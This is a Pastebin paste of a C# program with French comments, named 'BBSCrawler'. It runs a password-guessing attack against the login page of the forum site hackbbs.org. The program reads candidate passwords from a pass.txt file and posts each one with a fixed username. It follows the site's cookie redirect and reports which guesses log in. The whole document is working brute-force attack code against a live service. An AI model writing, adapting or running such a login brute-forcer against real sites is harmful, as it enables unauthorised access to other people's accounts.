Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.IO;
- using System.Web;
- using System.Net;
- using System.Collections;
- using System.Text.RegularExpressions;
- namespace BBSCrawler
- {
- class Program
- {
- public static void Main(string[] args)
- {
- string passline;
- string user = "Manu404";
- // Onverture du fichier pass.txt se trouvant dans le dossier de l'application dans un buffer
- StreamReader file = new StreamReader(System.Windows.Forms.Application.StartupPath + "\\pass.txt");
- // Lecture du buffer ligne par ligne
- while ((passline = file.ReadLine()) != null)
- {
- // Stock les cookies
- CookieContainer cookieContainer = new CookieContainer();
- // On se connecte avec les credentials
- WebPostRequest request = new WebPostRequest("http://hackbbs.org/login.php",ref cookieContainer);
- request.Add("login", user);
- request.Add("password", passline);
- request.Add("Connexion", "Connexion");
- // On récupère la page intermédiaire qui redirect sur cook.php pour avoir un cookie
- string loginResult = request.GetResponse();
- // On récupère l'url
- string cookResult = SplitCookie(loginResult);
- // Si elle est avlie
- if (!cookResult.Contains("error"))
- {
- // On l'execute, go to home
- request = new WebPostRequest(cookResult,ref cookieContainer);
- string connect = request.GetResponse();
- // Si on est connecté le choix "Deconnexion" est dispo
- string result = (connect.Contains("DECONNEXION")) ? "Ok" : "Ko";
- Console.WriteLine("Log {0} - {1}:{2}", result, user, passline);
- }
- }
- file.Close();
- Console.ReadKey();
- }
- public static string SplitCookie(string loginPage)
- {
- Regex r = new Regex(@"((https?):((//)|(\\\\))+[\w\d:#@%/;$()~_?\+-=\\\.&]*)");
- string[] splited = r.Split(loginPage);
- foreach (string s in splited)
- if(s.StartsWith("http"))
- return s;
- return "error";
- }
- }
- class WebPostRequest
- {
- private HttpWebRequest theRequest;
- private HttpWebResponse theResponse;
- private ArrayList theQueryData;
- public WebPostRequest(string url,ref CookieContainer cookie)
- {
- theRequest = (HttpWebRequest)WebRequest.Create(url);
- theRequest.Method = "POST";
- theRequest.CookieContainer = cookie;
- theQueryData = new ArrayList();
- }
- public void Add(string key, string value)
- {
- theQueryData.Add(String.Format("{0}={1}", key, HttpUtility.UrlEncode(value)));
- }
- public string GetResponse()
- {
- // Définis l'encodage
- theRequest.ContentType = "application/x-www-form-urlencoded";
- // Crée un string qui contient tout les paramètres
- string Parameters = String.Join("&", (String[])theQueryData.ToArray(typeof(string)));
- theRequest.ContentLength = Parameters.Length;
- // Ecriture des paramètres dans la requête
- StreamWriter sw = new StreamWriter(theRequest.GetRequestStream());
- sw.Write(Parameters);
- sw.Close();
- // Execute la requête
- theResponse = (HttpWebResponse)theRequest.GetResponse();
- StreamReader sr = new StreamReader(theResponse.GetResponseStream());
- return sr.ReadToEnd();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment